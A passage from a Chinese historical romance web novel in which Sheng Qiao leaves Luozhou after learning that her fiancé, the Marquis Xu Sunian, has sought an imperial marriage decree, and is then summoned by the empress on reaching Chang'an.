盛怀义也不知这变化是好还是坏,只知道在盛乔心中,这徐肃年的确是有些不同的。
甚至还主动提起了婚事,虽然她满脸都写着“我其实不在意只是有些好奇随便问问”,但盛怀义还能不了解这个女儿吗?
看来是真的女大不中留啊。
盛怀义在心里默默感慨一句,但面对盛乔,他面上半点都没有表现出来,只是问她,“阿乔,你老实同阿爹说,你还喜不喜欢那个徐肃年?”
盛乔立刻否认,“当然不喜欢了,我才不要嫁给那个骗子呢。”
盛怀义轻笑着摸了摸她的头发,点头答应,“好,那就不嫁。”
盛乔没想到阿爹这么轻易就答应了,一时还有些惊讶,“阿爹,你……你要帮我退婚吗?”
盛怀义看着她这惊讶的表情,心中感叹,面上却附和道:“乖乖放心,等我们回京就立刻和徐家退婚。”
他义正言辞地哄,“阿爹觉得你说得对,这徐家小子不诚恳,绝不能嫁,咱们再找更好的。”
“那,咱们什么时候回京啊?”
回去带着阿乔就要坐马车,盛怀义算了算时间,说:“阿爹不能离京太久,后天就要启程回去。你今天回去就收拾一下东西,明天到客栈来住,我们后天一早就启程。”
“这么快就走?”盛乔有些惊讶,还有些不舍得。
她当然是要和阿爹回家的,可毕竟她已经在洛州待了这么久了,多少也生出了些感情。何况,济善堂的事还没有彻底解决呢。
看出了盛乔的犹豫,盛怀义问:“怎么了?”
盛乔犹豫了一下,还是将自己想要和郑墨一起经营济善堂的事告诉了盛怀义。
这几天事多,父女俩都没怎么说话,盛怀义这还是第一次听到这件事,不由得更是惊讶。
他不敢相信女儿竟会生出这样的念头,更没想到她生出了这样的心思之后,也真的用心去做了。
看来她的宝贝女儿是真的变了,长大了。
他听着盛乔侃侃而谈她和郑墨接下来的计划,盛怀义惊讶之余,更生出几分骄傲来。
等盛乔说完之后,盛怀义也没怪她,只说:“你不可能长住洛州,在这边还是要找个靠谱的帮手,毕竟这不是一朝一夕就能办成的事,书院可以在很快的时间内办成,但是接下来还有更多的事要做,洛州离着长安也不算远,就算回家之后,也不碍事。”
盛乔听着盛怀义这话,很是欣喜,撒娇道:“我只怕阿爹嫌弃我不务正业。”
“如何算是务正业?”盛怀义揉了揉女儿的脑袋,“阿爹只希望你开心,如果你喜欢,阿爹在长安也给你开一家书院,到时候让你自己做山长,如何?”
盛乔欢喜地几乎要蹦起来,“真的?”
“当然是真的,难道阿爹还能骗你不成?”
父女俩太久未见,凑在一块有很多话想说,听完盛乔叽里咕噜说完这段时间在洛州发生的事,盛怀义又提到了远在长安的郑夫人和阿乔的其他几位兄姐。
原本还有些舍不得洛州,这会儿盛乔恨不得飞奔回家,她想阿娘了。
眼瞧着女儿眼眶都泛起了红,盛怀义忙止住话题,不再继续说下去。
“天都快黑了。”盛怀义转移她的注意力,“饿不饿?阿爹陪你去楼下用晚膳。”
盛乔不想让阿爹看到自己的眼泪,飞快抹了抹,然后很乖地点了点头。
这客栈人本就不算多,又被盛怀义包下了大半,就算正是用膳的饭点,一楼大堂也没几个人在。
盛乔和盛怀义走下楼梯,找了个靠窗的位置坐下,盛怀义问盛乔,“有没有什么想吃的。”
盛乔正要抬头去看墙上挂着的菜牌子,一抬头,却看到了街对面的徐肃年。
见盛乔看过来,他隔着一条繁闹的长街,笑着朝她挑了挑眉。
第44章 请旨你这算什么追求?
天色渐晚,盛乔和盛怀义下楼本是要用晚膳的,没想到一抬头,盛乔就瞧见了街对面的徐肃年。
他坐在一辆与身上华贵衣饰完全格格不入的灰棚马车上,尤其那一张俊脸加上那一身极为显眼的深绯色的衣裳,引得周围的过路人频频回头看。
盛乔看见他的那一瞬间,立刻就想扭头,不料男人仿佛时时都盯着这边似的,竟然第一时间就捕捉到了她的眼神,隔着一条繁华热闹的长街对她笑着挑了挑眉。
虽然
徐肃年方才就说要在楼下等他,但盛乔根本没把这话放在心上,她和阿爹在房间里说了那么久的话,眼看着天都要黑了,没想到他居然还在这。
看他倚坐在马车边,挑眉看着他,盛乔恍然又回到了与他初见的那一天。
如今两个月过去,他的衣着打扮变了,身份变了,唯独那张俊朗的面孔没变。
盛乔觉得这个男人真的很可恶,分明那么坏,又那么会骗人,偏偏长了一张人畜无害的脸,让人看见之后,就忍不住会忘了他那些不好的地方。
盛乔在心里暗斥自己没出息,然后起身走到窗边,干脆直接把窗户关上了。
盛怀义就坐在一旁,虽没看到外面的情景,但见女儿这个表情,也能猜到她看见了什么。
他心里微微叹了口气。
虽然他和徐肃年同朝为官多年,但实际上并不熟悉,只偶尔在皇帝的玄元殿内有过几次擦肩而过的机会,那时同为朝臣,盛怀义对于年轻有为的徐肃年一直是抱着赏识、赞叹的心态。
他在朝中虽只担虚职,但盛淙是和徐肃年同在大理寺供职的,许多案子盛怀义都能从盛淙口中听到细节。
他一直觉得徐肃年虽然有时报案过于冷肃了些,但心性成熟稳重,遇事冷静坚定,是个极为聪明的人。
但是现在,徐肃年不再是和他同朝为官的年轻臣子,而且一个后辈,甚至有很大可能会成为他未来的女婿。
看他将那些他从前极为欣赏的深沉心思都用到了自己女儿身上,盛怀义心里就有种说不出来的滋味。
虽然徐肃年的确年岁不大,但好歹也是个有身份的侯爷,如今就在大街上朝对面的小娘子暗送秋波,可真是一点都不害臊。
偏偏他那个傻女儿仿佛还很吃这一套似的,坐回来的时候耳朵尖都红了。
盛怀义心里很惆怅。
盛乔坐回到自己的位置上,感觉到身边的盛怀义一直在看她,她莫名心虚地咳了声,问:“阿爹看我做什么呀?”
盛怀义不动声色的地瞄一眼紧紧合住的窗户,“天气这么热,怎么还把窗户关上了。”
“街上,街上太吵了……”盛乔找理由,然后迫不及待地想转移他的注意力,“阿爹,我好饿啊,我们吃些什么?”
盛怀义点了几样盛乔爱吃的菜,但不知是不是天热没有胃口,盛乔嘴上叫着饿,实际上根本没吃多少。
盛怀义其实也没什么胃口,眼看盛乔撂了筷子,他也跟着起身,说:“你三哥忙去了,阿爹送你回济善堂罢。”
盛乔哪能让阿爹送自己,连忙阻拦道:“阿爹!今天三哥和我说你昨天在客栈歇了一天呢,这一路过来一定很累很累了,你真的不用送我,这洛州城我早就熟悉了,不会迷路,也不会遇到危险的。”
盛怀义退让一步,说:“那我叫护卫送你回去。”
在外面自由散漫了几个月,如今盛乔还真不习惯有护卫跟着,她再度拒绝,然后说道:“天还没黑呢,我骑马回去,正好看看晚霞。”
骑马?
盛怀义还是有些不放心她,盛乔很是自信地说:“放心罢阿爹,我现在骑马的水平,可不像从前在家里那样了,这几个月我和徐……”
她险些就要说出徐肃年的名字了,顿了一下,又生生咽了回去,“总之,我现在很厉害的,阿爹千万别看不起我。”
她都这么说了,盛怀义也没再说什么,只又不放心地嘱咐了几句,然后亲自将她送到了客栈外。
能跟在国公爷身边的近身伺候的护卫都是极有眼力见的,听到两位主子的谈话,早就去后院将马牵到了正门。
对面徐肃年还在马车里坐着没走。
盛乔一出来便感受到了对面男人递来的视线,可她强作镇定,一副没察觉到的样子,和盛怀义告别之后,直接就骑上马走了。
徐肃年早猜到她不会搭理自己,隔街和盛怀义打了个招呼,然后从马车上跳下来,也骑马追了上去。
盛乔远远就听到了身后的马蹄声,可她只当没听到,握着缰绳专心往前走。
毕竟在外面等了那么久,她以为徐肃年会主动来和她说话,没想到他竟然就只是在后面跟着,甚至没有过来和盛乔并排前行。
这下轮到盛乔诧异了,握着缰绳的手指轻轻摩挲了两下,想回头看他到底想做什么。
可又觉得回头就像是认输了似的,盛乔咬了咬唇,将好奇心强行按回了心底深处。
就这样,两人一前一后地从客栈回到了济善堂,眼看就要进门的时候,盛乔翻身下马,本想直接进门,却见徐肃年也从马背上跳了下来。
她踌躇了一下,还是主动开了口,“喂!”
徐肃年立刻迎上来,倒打一耙地说:“小娘子终于愿意同我说话了。”
盛乔哼一声,说:“我们的事不是都已经说清楚了么,我不怪你骗我,但我们也不可能回到从前了,你以后再也不要来找我了。”
徐肃年也道:“这是小娘子与我说清楚了,可我今天也和小娘子说清楚了,随小娘子理不理我,我都喜欢你,想要娶你为妻。”
在济善堂的大门口,随时都有可能出现,周围还有守门的护卫在,徐肃年就这样把话大喇喇地说了出来,没有一点要避着点人的意思。
盛乔觉得自己都要看到那两个守卫在偷笑了。
怎么和这个男人就说不通呢,盛乔有些急躁地瞪他一眼,“反正你说什么我都不会嫁给你的。”
“都说水滴石穿,小娘子一日不同意,我就追着你一日,百日不同意,我就追你百日。”
“我会一直等到你点头答应的那天。”
徐肃年一双眼睛紧紧地盯着盛乔,将她完完整整地纳入在自己的视线中心,“阿乔,你知道的,我说出来就能做得到。”
大概是男人的眼神太过灼热,盛乔一时竟有些不敢抬头看他,神色躲闪地往旁边避了避,嘴硬道:“你愿意追就追罢,与我无关,反正我要走了。”
她故意说这话,不料徐肃年半点都不惊讶,还关心地叮嘱她,“回去的路上要照顾好自己,一路平安。”
盛乔惊讶地瞪大眼睛,“你竟知道我要走……”
徐肃年笑了一下,说:“盛伯父身在其位,能离京已经是陛下特旨,想必不会在洛州待太久,我猜你们明后天应当就要启程了罢。”
盛乔怀疑地看着他,“你总不会也要回京了罢?”
难道他们回去的路上又要同行?
徐肃年不答,反而笑着说道:“方才我还说百日才能追上小娘子,这才没过半盏茶的时间就主动关心我了,看来是不需要那么久的了。”
这人就没有片刻正型,盛乔恼怒地嗔他一眼,转身就要走,徐肃年连忙把她拉回来,哄道:“别走别走。”
盛乔顿住脚步,但还是特别矜持地抚开了他的手。
徐肃年离她稍远了些,然后终于恢复了正经模样,“洛州还有事需要我处理,估摸还要半个多月才能回京,不过你放心,我已经尽早回去。”
这是什么话,说得好像她很希望他跟着一起回去似的。
“随便你回不回去,与我无关。”盛乔板起脸,“反正我阿爹已经答应我了,回去你我就退婚。然后你走你的独木桥,我走我的阳关道!”
明知道她故意说这话是在气自己,徐肃年眼底的笑意还是凝滞了一瞬。
半晌,他半弓下身子,抬手想去摸盛乔的脸,却被她避开。
徐肃年并未生气,语气也未见急躁,眼睛里依旧充满了笑意,语气也十分温柔,只是说出来的话,却藏着浓重的占有欲。
“这恐怕不行,阿乔,我已经向陛下请旨赐婚了。”
盛乔不可置信地瞪大眼睛,“你……你怎么能这样?”
她想到徐肃年方才的那番话,生气道:“你这算是什么追求,你根本就是强娶。”
虽然已经知道了徐肃年就是徐少安,但其实在盛乔心里,还并不能完全地将这两个名字合到一起去。
在她心中,徐少安永远是那个与她逗趣的车夫。
而徐肃年则是那个位高权重,杀人如麻的端阳侯。
只是因为他在身份暴露后,一直都在自己面前表现的没什么正经,
所以盛乔心里的异样感才没有那么严重。
但此时此刻,他刚说了一大堆只有徐少安才会说的话,然后又忽然变得强势起来。
这样大的反差,让盛乔有些无法接受。
徐肃年道:“我当然没有骗你。”
“你可以一日不接受我,百日不原谅我,甚至三年五年十年,都可以,我都可以等。但是别的什么人,又怎么配得上你呢。”
说是给她时间选择,可是最终答案却只有他一个人。
盛乔气得说不出话来,也懒得再与他争论,转身走了。
徐肃年早知她会是这个反应,没再追上去,就站在原地,目送她的背影跑远了。
第45章 回京真是自投罗网
幸亏已经和盛怀义用过晚膳了,否则盛乔觉得自己会被徐肃年气得吃不下饭。
这人怎么这么霸道,她不理他,他就要请圣上赐婚,说要等她,其实没有给她任何选择。
简直不可理喻!
盛乔原本已经在桌边坐下了,想到徐肃年方才的话,又气得站了起来,甚至想把桌子当成徐肃年,狠狠地踢他两脚。
但想到桌子上是木头做的,她真的踢上去桌子也不会有感觉,反而是她的脚痛,盛乔就又恨恨地坐了回去。
正好这时有敲门声传来。
“阿乔?你歇下了吗?”
是郑墨的声音。
盛乔忙起身去开门,只见郑墨抱着一下大大的盒子站在门口。
“表姐?你怎么这时候过来了。”
盛乔将人迎进来,想去接她怀里的箱子。
“不沉。”
郑墨避开了盛乔的手,自己抱着箱子放到了桌上。
“装的是什么?”盛乔好奇地问。
郑墨打开箱盖,盛乔本以为装的会是书和衣服之类的,探头一看,却见里面是用一个个用布包着的小玩意儿。
“姑父的身份怕是不能在洛州待太久,我想着你们应当很快就要启程回长安了。”郑墨说,“所以今天我特意和六娘出门去给你买了些洛州的土仪,在洛州待了这么久,总要带些回去给大表哥他们罢。”
六娘也是济善堂的一位女先生,是个家室败落的世家小姐,新来没多久,是替纪明实授算学的。她性子和善温婉,郑墨和盛乔平时与她也很是要好。
盛乔没想到她想得这么周到,有些感动,还有些愧疚,“表姐,我回长安之后,济善堂的事我就不能再帮你了。”
郑墨笑着刮了刮她的鼻子,“谁说的,咱们当时不是说好了么?你负责出钱,我来管下面的杂事。何况这件事很快就要有官府接手了,昨日卢大人还找我去商量了后续事宜,只是具体账目还没理好,你可以带回长安慢慢看。”
盛乔点了点头,转而又想到了那群孩子,有些沮丧地说:“只是没想到这么快就要回去了,恐怕表姐要给那群孩子再聘一位授书学的先生了。”
这件事郑墨自然不会疏忽,“放心,我前些天就已经让六娘去找了,已经找到了,是个姓沈的秀才。”
她想了想明日书学课的时辰,说:“明日你就安心收拾行李,我让新来的沈先生去上课。”
盛乔却摇了摇头,“我去罢。”
虽然她早就知道自己不可能在洛州久留,但若真的说走就走,她也觉得自己实在有些不负责任。
“至少让我和孩子们郑重地告个别。”
听到盛乔这么说,郑墨微微一愣,没再劝阻。
知道明天就是在济善堂上的最后一节课,盛乔很怕自己授课的时候便很不争气地哭出声来,临走进水榭时,还在心里不停地告诉自己不要哭。
可在走进水榭看到学生们仰望的眼神时,还是没忍住眼酸了一下。
学生们大约也得知她要走的消息了,一个个眼珠通红,看她的目光满是不舍,甚至有几个孩子眼眶都是红肿的,像是早就哭过的样子。
盛乔不想让气氛变得太过低落,她竭力让自己的表情看上去开心一点,开口道:“好了好了,你们要是哭了,我也要跟着哭了,眼泪凑一堆,到时候这水榭被淹成了瀑布,你们郑先生可要找我来赔钱了。”
她故意逗趣,果然有几个孩子笑出声来,原本沉重的气氛总算被打破,盛乔无声松了口气。
“好了,都别难过了,今天是我最后一次见你们,还不都打起精神来!”盛乔刻意将声音放大了些,“我们今日还是继续临《九成宫醴泉铭》……”
平时盛乔上课的时候,总是觉得时间太久,往往还没到下课钟声响起,她就说得口干舌燥了。
可今日也不知怎的,时间过得那么快,她还在专心讲评时,下课的钟声竟已经响了。
一会儿孩子们还要去用午膳,盛乔不想耽搁他们的用膳时间,飞快做了个总结,然后说道:“下堂课就是新来的沈先生来讲了,所以今天就不给大家留课后任务了,都快去用膳罢!”
这时,坐在第一排的郁兰站了起来,“先生,我们也有礼物要送给您。”
盛乔既惊又喜,还没说话,便见郁兰双手呈上了一卷折叠整齐的宣纸。
盛乔当即打开来看,竟是一篇书写整齐的字帖,上面的字正时盛乔第一次上课所教的那些。
“先生,我们没什么能送给您的,因此一人写了一副字,希望您回家之后,也不会忘记我们。”
其他的学生也都走到盛乔跟前,将叠好的大字交到了她的手上。
盛乔答应道:“一定不会忘记你们的,等先生到了长安之后,再给你们寄些好玩意儿来。”
学生们将她围在中间,盛乔也伸手一一揉了揉他们的脑袋,“你们之后的功课我也会看的,谁进步最大,我还有奖励!”
到底还是小孩子,一听盛乔说之后还会给他们寄礼物,顿时都开心起来,盛乔由着他们闹了一会儿,然后看了看时辰,说:“好了,快去用午膳罢,你们不饿我也要饿了。”
学生们这才依依不舍地和她惜别。
盛乔就站在水榭边目送他们离开,直到假山回廊遮住他们的背影,她才终于舍得挪开视线,转身看向身后空荡荡的水榭。
一阵风吹过,卷起桌上放着的宣纸,盛乔走过去整理,低头时,一滴眼泪落了下来。
学生们送给她的字被她珍重收好,单独放在了一个小匣子里,直到踏上归程之后,仍旧不舍地放在身边。
来洛州的路上,盛怀义日夜兼程地骑马的确有些吃不消,回去时盛淙特意雇了两辆马车,盛怀义和盛乔一人一辆,如此互不打扰,也能休息得好些。
回程时间还算空余,行进不算快,盛乔坐在马车里无事可做,便想到了身边装满大字的匣子,于是她打开一张张的看了起来。
练字这件事,勤奋比天赋更重要,这群孩子都十分努力认真,盛乔看着那一张张稚嫩却整齐的字,唇边不自觉地挂上了笑。
她一张张看过去,直到看完倒数第二张时,忽然觉出有些不对。
怎么多了一张。
盛乔以为是自己收拾的时候把自己平时的练习之作加进去了,不料打开拿出来一看,竟然是一副画。
盛乔先是一愣,而后立刻就反应过来,这是徐肃年画的。
盛乔第一反应就是扔掉不看,可徐肃年的画工实在是好,这画比他先前送她的那一副精致细腻许多,不仅构图
完整,甚至上了颜色,比之从前更加栩栩如生。
画上他们两个并肩坐在马车上的情形,徐肃年穿着一身素色的衣裳,头戴斗笠,正在驾车。而她也穿着一身简便的男装,从车厢里探出头来,扒在他的肩头,不知在和他说些什么。
看画上他们的穿着打扮,应当是他们从长安来到洛阳一路上的情形。
盛乔的思绪瞬间被拉回了两个月之前,一下有些感慨。
正好马车停下,盛淙隔着车门对她说:“阿乔,下车罢,咱们到洛水县了。”
洛水县。
听到这个熟悉的地名,盛乔立刻探身往外看,上次来时,这里街道分外寂寥冷清,如今变化虽然不算很大,但至少也能看到百姓们出行的人影了。
正巧盛淙选中的客栈就是他们来时住的那家,盛乔看着熟悉的店名,再看着跟在自己身边的父亲和兄长,不由得有些恍惚。
三人定了房间上楼,阿乔又在最前面,盛淙和盛怀义则跟在她的身后。
上楼梯的时候,盛淙见阿乔有些心不在焉的,便压低了声音小声对盛怀义说:“洛水县比先前热闹了不少,看来端阳侯在洛州这两个月,也不是半点实事没做。”
盛怀义看他一眼,然后又看了看前面的阿乔,说:“听陛下说,他让人将洛州府下辖郡县的所有官员都一一召了去,这办法看着笨拙,实际上不仅能最快了解洛州的情况,还能将那些官员分而化之,实在是个再聪明不过的举动。”
“只是他在洛州待的也有些太久了,那天我与他辞别时,他竟告诉我说,他还要在洛州再待一阵子。”
盛怀义隐约也能猜到其中的不寻常,“只怕这幕后之人,不止是朱家那么简单……”
以为盛乔没在听,父子二人没什么顾忌地谈起政事。
但实际上,盛乔的思绪一直在跟着他们走,虽然很多话她都听不太懂,却听明白了一件事,在阿爹心里,徐肃年应当是个为君为民的好官。
若是在离开长安之前,盛乔会觉得阿爹这是故意在说徐肃年的好话哄骗自己,毕竟在她印象里的徐肃年已经是定了型的酷吏了。
但这一路相处下来,盛乔对徐肃年也算有了一定的了解,虽然他不算什么好人,可至少绝不像传闻中的那样冷厉无情,杀人如麻。
她站在熟悉的客栈里,忽然想到他们先前住在洛水县那次,适逢暴雨,百姓们担心河堤会冲毁,都齐齐围在客栈门口,当时徐肃年也挤在客栈门口。
那时盛乔还以为他是在担心接下来的行程会不会被耽误,但此时想来,他担心的或许是百姓们接下来的生活。
盛乔回到自己的房间,站在窗边往下看,正巧窗户下面就一条偏僻的小巷,好像和徐肃年背着她走过的那条巷子一模一样。
原本盛乔对徐肃年丝毫不顾及她的意愿就向皇帝赐婚的事十分恼恨的,此时忽然想起这些旧事,心下骤然复杂起来。
虽然徐肃年一直没说过自己是什么时候认出她的身份的,但盛乔回想起她来时这一路上和徐肃年说的话,想必他应该很早就知道自己的身份了,毕竟他那么聪明。
既知道她是谁,那应当也早知道她口中的那个未婚夫指的就是他自己了。
她这一路上可没少说他的坏话,甚至多得她自己都有些数不清了。
徐肃年不仅没有生过气,反而一路上都对她极为照顾。
盛乔不是不知感恩的人,旁人对她好,她当然能感觉得到。
说实在的,他骗她这件事,她除了觉得丢人之外,也不觉得还要再计较什么了。
可她无法接受徐肃年完全不顾自己的意愿就向陛下请旨赐婚,这根本让她连拒绝的权力都没有了。
就算阿爹帮她退了婚,她也还是要嫁给他。
盛乔不喜欢被逼迫,所以当时才会从长安逃婚。
如今几个月过去,她重新回到长安,面对的局面仿佛没有一点改变,甚至被彻底地绑到了徐肃年身边。
她有些生气,还有些懊悔,当时还不如不谈婚呢,直接嫁过去没准还不会发生这么多的事。
如今才真是自投罗网了-
盛乔离开洛州已经三天了,徐肃年没有去送,但是身边的齐甄实际每天都在递送盛家这一行人的消息。
“侯爷,小娘子已经到洛州了。”
徐肃年听到之后,执笔的手微微一顿,然后点了点头,说:“我知道了,你们都下去罢,让我一个人待会儿。”
齐甄恭敬退到院子里,齐源正好从回廊拐过来,想给徐肃年送茶。
齐甄急忙拦住他,“别去了,侯爷说想一个人待会儿。”
齐源叹了口气,说:“自从盛小娘子一走,咱们侯爷连门都不出了。”
他们两个先前并不知道和自家主子关系亲近的那位小娘子到底是何身份,只希望他是徐肃年路上遇到的小娘子,从此一见倾心,未必他们还担忧过燕国公府那位真正的未婚妻怎么办。
不料这两位小娘子竟是一人,他们侯爷钟情爱慕的女子,就是将来要明媒正娶的未婚妻,这岂不是皆大欢喜的好事。
可也不知道他们侯爷是哪里惹恼了盛家小娘子,人家竟然一言不合就回长安了,反留侯爷一个人在洛州面对那些整天只会尔虞我诈的糟老头子。
这才三天而已,侯爷整个人看着明显瘦了一大圈。
明明现在比之前时间更富裕了,他们侯爷反而更忙了。
齐甄和齐源彼此对视一眼,皆在心里默默地感叹。
不过也没给他们太久的感慨时间,没一会儿徐肃年便推门走出了书房,吩咐道:“去请卢大人过来。”
齐甄过来传话的时候,卢烨正在安排过几日宴会的事,近来几个重要郡县的官员都在洛州,宴会上众人齐聚,实在不能马虎。
听齐甄说徐肃年找他,他也并不意外,匆匆交代了几句就赶往了徐肃年的院子。
“侯爷。”
这段时日的相处下来,卢烨和徐肃年已经很熟悉了,再见到也不再是一丝不苟地拘礼,拱了拱手,便在徐肃年的示意下落了座。
徐肃年也没有与他寒暄的意思,直接了当地挑起了话题,问道:“听说蒋司马今日来见你了。”
就知道端阳侯找他是为了这件事,卢烨早有准备,从怀里掏出一本账簿,递给徐肃年,“您没猜错,他果然自己找上门来了。”
“是他和惠国公府的往来记账。”
徐肃年神色不变,接过账簿,一页页地翻看起来。
卢烨有些感慨,“原以为洛州府这三位为首的长官,蒋司马是唯一清白的一个,没想到他竟然也和惠国公府有牵连,还好侯爷机敏,他也有坦诚之心,一直派人去查他,才没放过他这个漏网之鱼。”
卢烨语气愤愤的,徐肃年却十分平静,他很快就将那账册看完了,不赞同地说了一句:“恐怕未必。”
卢烨一时没听懂这句话,徐肃年合上账册,在封皮上点了点,“这么薄的一本册子,其中大部分还都是他将银子转送到惠国公府,他不过是其中的受害者而已,就算到了陛下面前,只要他喊冤说自己是被逼无奈,陛下也不会从重处置。”
毕竟,倒下一个惠国公府,不知道要空出多少的位置,为了不搅的朝堂大乱,陛下是绝不可能大肆株连的,反而要安抚这些牵涉不深的臣子,让他们继续为自己效忠。
所以蒋司马在这个时候掏出账本,非但没罪,反而是立了检举之功。
后面的话他没说出来,但卢烨也不是傻子,只听徐肃年的前半句就已经明白了他的意思。
“侯爷是说,这位蒋司马其实并不是惠国公的人。”
徐肃年这次倒没和他打哑谜,直接点了点头。
“那会是谁的人呢。”卢烨思索,“看这账本上
的往来,他搭上惠国公府也不是这一年两年的事,是谁有这么大的本事能将人安插到惠国公府,还能保证他不会真的倒戈……”
半晌,他似乎想到了答案,压低了声音小声问道:“侯爷,您觉得会不会是四皇子?”
惠国公府连着朱皇后,朱皇后则连着太子,他们不仅有血缘之连,更有利益纠缠。只要有一个倒下,剩下的也不可能再辉煌下去。
何况太子本身并不算个贤明的储君,反而近些年来一直在惠国公府的护佑之下,行事越发跋扈嚣张,陛下对其早有不满,只是碍于惠国公府和皇后的面子,一直冷处理罢了。
但谁都清楚,陛下实际早有废黜太子的意愿。
而太子一倒,接下来就属四皇子最有可能册封东宫。
因为朱家,当今圣上膝下子嗣不丰,且就算生下来的也没几个能够活到成年,如今一共只有四个儿子,一个女儿。
当今太子行二,后面的三皇子和五皇子都是早早夭折,成年的儿子里就只有四皇子一个,至于剩下的六皇子和九皇子,一个十四,一个才三岁,怎么看都不像是能继承皇位的人。
就算他们想,只怕也没那个本事。
因此卢烨第一反应就是四皇子,不说别的,就凭他能在朱皇后执掌的后宫里平安长大,就说明他绝对不是个没本事的人。
听到他这个猜测,徐肃年也并不意外,附和道:“或许罢。”
四皇子的确很有可能,只是他如果真的能有在惠国公府安插一个埋伏了这么多年的眼线的能力,何必不直接安插到东宫呢?
这样岂不是更为方便。
卢烨未必想不到这一层,只是一提到皇位,他第一时间想到的就是储君之争。
可他忘了,其实有一个人比所有的皇子都更想坐稳这个皇位——
那就是皇帝。
皇宫,玄元殿。
太监们将徐肃年的密折呈上来的时候,崇安帝正在龙椅上假寐。
大太监庆和将折子小心翼翼地放到御案上,怕会打扰陛下休息。
但实际上他一走进来,崇安帝就已经醒了,只是一直没有睁开眼,等庆和轻手轻脚地当下折子。
他才撩起半边眼皮,问道:“是少安呈上的折子?”
“是。”庆和回道,“除了端阳侯之外,还有卢烨大人的。”
“扶朕起来。”
崇安帝下发命令,庆和立刻上前将他扶起来,同时吩咐外面侯着的宫女立刻打水来给陛下擦脸。
崇安擦过脸,又喝了几口茶,总算清醒了一些,他将视线挪到桌上的折子上,有些奇怪地问:“不是少安和卢烨的么?怎么有三份?”
庆和恭谨回道:“回陛下,端阳侯呈送了两封。”
什么事还要分成两封来写,崇安帝立刻拆了最上面的那封,打开一看,是徐肃年详细呈报蒋司马之事的折子。
这件事先前卢烨已经报过一遍了,但相比之下,还是徐肃年的汇报更加老练深入。
崇安帝满意地勾了勾唇,眼底也漫上一丝笑,“这孩子,果真不让朕失望。”
“端阳侯是陛下您打小培养起来的,当然不一样,这也是陛下英明能干的结果。”庆和立刻奉承道。
崇安帝满意地笑了笑,然后紧跟着又打开了第二封,但这次他只看了一行字,面上的笑容就倏地凝住了。
庆和见皇帝表情不对,给他揉肩地动作都不自觉慢了下来。
崇安帝顿了顿,但还是继续讲折子完整地看完,这才啪地合上,重新扔回了御案上。
庆和大着胆子开口,“陛下息怒,若是侯爷做错了什么事,您只管训诫就是,可别气坏了自己的身子。”
“毕竟侯爷还年轻,难免有什么做的不周到的地方……”
后面的话还没说完,便被崇安帝不耐烦地打断了,“盛怀义离开长安这么久了,去给朕打听打听,他什么时候回来。”-
盛乔一行到达长安时,已经是第十天的傍晚,虽然走得不快,但一路舟车劳顿也实在辛苦。
盛乔远远望着长安城的大门,心想:回家之后一定要好好的睡上一觉。
不料还没进家门,在延寿坊门口,他们的马车就被拦住了。
盛乔不知道发生了何事,探出半个脑袋往外看,只见阿爹的马车边站着一个面白无须的男人,看着像是个太监。
难道是陛下知道阿爹回来了,特意叫阿爹入宫?
盛乔正想着,就见那太监忽然转头朝她的方向看了过来。
那视线看的盛乔不舒服,她正要坐回去,就见那个太监快步走到他的跟前,然后恭恭敬敬地对她行了一礼,说:“可是盛三娘子么?”
盛乔被他突然的动作吓了一跳,缓了缓才点头,“我是。”
她不明白这太监干嘛要给她行礼,若是找阿爹的,只同阿爹说话就是。
没想到那太监却道:“奴婢是凤仪宫的掌事太监崔怀,今日这趟来,是咱们皇后娘娘想请盛三娘子入宫一趟。”
第46章 东宫阿乔偷听
身为燕国公府的小娘子,盛乔就是再低调不爱出门,时庆年节也会随母亲进宫参加宫宴。
盛乔并不是没见过皇后,只是从未被正经召见过,尤其这还是在回家半路上就将她拦住。
盛乔不由得就有些慌,下意识去看盛怀义的反应。
盛怀义原本神情颇为沉重,但当盛乔看过来的时候,他立刻故作轻松地朝盛乔笑了笑,安抚道:“既是娘娘想见你,那就去罢,只记得不许贪玩,回头我叫你阿娘到宫门口接你。”
崔怀赔笑着朝二人揖了揖手,“国公爷放心,奴婢一定好好将三娘子送出来。”
其实不会有人真的敢对盛乔做些什么,就算将她召进宫另有目的,但也只会对她客客气气的。
盛怀义只是担心阿乔一个人进宫会害怕,她先前每次进宫都有她阿娘和姐姐们陪着。
可他也知道,宫里之所以在这个时候派人出来,就是想让盛乔一个人过去。
不必盛怀义说,盛乔多少也能猜到,她不想在一个太监面前露怯,于是点头应道:“好,公公带路罢。”
宫里的马车就停在巷子口,盛乔朝父兄笑了笑,然后跟着太监上了马车。
燕国公府所在的延寿坊离着皇城并不远,进了宫还有小轿,大约两刻多钟,软轿停在了凤仪宫门前。
崔怀亲自上前给盛乔打帘。
盛乔扶着一旁小宫女的手,深吸了一口气,然后缓步踏入了凤仪宫。
平时进宫都是跟在母亲身边参加宴会,但是现在只有她一个人,盛乔在来的这一路上一直在想,皇后娘娘召她进宫到底是为什么?
盛乔虽不谙世事,但到底是高门贵女,就算没亲身经历过,也见过母亲入宫。
她知道,像是她们这样身份的女眷入宫多半就是两件事,一是接受封赏,二是说亲赐婚。
不过接受封赏总要有个缘由,要么是父兄立了大功,要么是夫君立了功。
阿爹和三哥最近忙着去洛州找她,肯定是不会立功的,惟有在吏部供职的大哥还有几分可能,可若真是父兄有功,怎么会不召阿娘与大嫂。
而她又还未成亲。
所以,皇后娘娘是要给她说亲么?
盛乔第一反应就是宫里的几个皇子,好像只有太子和四皇子的年岁能对得上,但是太子殿下和四皇子都早有正妃了呀。
还记得前两年帝后为太子选妃时,阿娘生怕皇后娘娘挑中她,连岁末的除夕宴都给她称病不让她出门。
四皇子去岁及冠,阿娘本也想让她再躲一阵,阿爹却说不必,果然没出半个月陛下就给四皇子赐了婚,未来的四皇子妃姓刘,家中既无爵位也无名望,父亲只是一个四品
的刑部侍郎。
阿娘这才算是松了口气。
两位适龄的皇子早已有婚配,她又不可能去做侧妃,难道……
盛乔忽然想到那日徐肃年对她说的话,难道皇后娘娘是来给徐肃年说媒的不成?
可也没听说徐肃年和皇后娘娘有什么关系啊。
盛乔胡思乱想了一路,也没确定皇后召她到底是何用意,反而心里愈发紧张。
但她知道,自己不能表现出来,否则就是丢了燕国公府的脸。
她缓缓走进凤仪宫的正殿,朱皇后端坐在上,盛乔只看了一眼便立刻低下头,俯身行礼,“参见皇后娘娘。”
朱皇后语气很是温和,“快起来罢。”
为了赶路方便,盛乔身上穿的还是轻便的男装,朱皇后奇怪地问:“怎么三娘子是这打扮?”
